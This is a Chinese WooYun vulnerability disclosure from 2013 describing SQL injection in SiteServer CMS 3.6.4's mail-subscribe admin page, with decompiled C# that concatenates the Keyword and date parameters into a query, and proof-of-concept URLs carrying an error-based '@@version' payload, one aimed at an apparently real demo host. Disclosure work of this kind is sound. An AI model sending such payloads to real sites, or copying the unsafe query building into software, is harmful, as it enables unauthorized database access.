当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044353

漏洞标题:siteserver最新版3.6.4 sql inject 第12蛋

相关厂商:百容千域软件技术开发有限责任公司

漏洞作者: 小新

提交时间:2013-12-05 12:17

修复时间:2014-03-05 12:18

公开时间:2014-03-05 12:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-05: 细节已通知厂商并且等待厂商处理中
2013-12-05: 厂商已经确认,细节仅向厂商公开
2013-12-08: 细节向第三方安全合作伙伴开放
2014-01-29: 细节向核心白帽子及相关领域专家公开
2014-02-08: 细节向普通白帽子公开
2014-02-18: 细节向实习白帽子公开
2014-03-05: 细节向公众公开

简要描述:

siteserver 最新版3.6.4 存在注入, 第14个注入
尽量一天找一个

详细说明:

第11个注入存在/siteserver/cms/background_mailSubscribe.aspx
用.NET Reflector 反编译SiteServer.CMS.dll这个文件
查看代码如下:

if (((((uint) isPostBack) - ((uint) isPostBack)) >= 0) && isPostBack)
{
this.spContents.SelectCommand = DataProvider.MailSubscribeDAO.GetSelectCommend(base.PublishmentSystemID, base.Request.QueryString["Keyword"], base.Request.QueryString["DateFrom"], base.Request.QueryString["DateTo"]);
}
else


Keyword

public string GetSelectCommend(int publishmentSystemID, string keyword, string dateFrom, string dateTo)
{
// This item is obfuscated and can not be translated.
StringBuilder builder;
bool flag;
bool flag2;
if (publishmentSystemID != 0)
{
goto Label_02D7;
}
if ((((uint) publishmentSystemID) + ((uint) publishmentSystemID)) >= 0)
{
goto Label_0311;
}
goto Label_026E;
Label_002D:
return ("SELECT ID, PublishmentSystemID, Receiver, Mail, IPAddress, AddDate FROM siteserver_MailSubscribe " + builder.ToString());
Label_0069:
builder.AppendFormat("(AddDate <= '{0}')", dateTo);
goto Label_002D;
.....
Label_0197:
if ((((uint) flag2) + ((uint) flag)) <= uint.MaxValue)
{
goto Label_016C;
}
goto Label_0151;
Label_01B4:
if ((((uint) flag) & 0) != 0)
{
goto Label_02B6;
}
builder.AppendFormat("(Receiver LIKE '%{0}%' OR Mail LIKE '%{0}%')", keyword);
goto Label_0197;


漏洞证明:

http://www.target.com/siteserver/cms/background_mailSubscribe.aspx?PublishmentSystemID=0&Keyword='%20and%201=@@version%20and%201='1&DateFrom=&DateTo=


2013-11-28-211247_732x298_scrot.png


http://2012.moban.siteserver.cn/siteserver/cms/background_mailSubscribe.aspx?PublishmentSystemID=0&Keyword='%20and%201=@@version%20and%201='1&DateFrom=&DateTo=

修复方案:

对那几个参数过滤

版权声明:转载请注明来源 小新@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-05 12:37

厂商回复:

感谢!

最新状态:

暂无


漏洞评价:

评论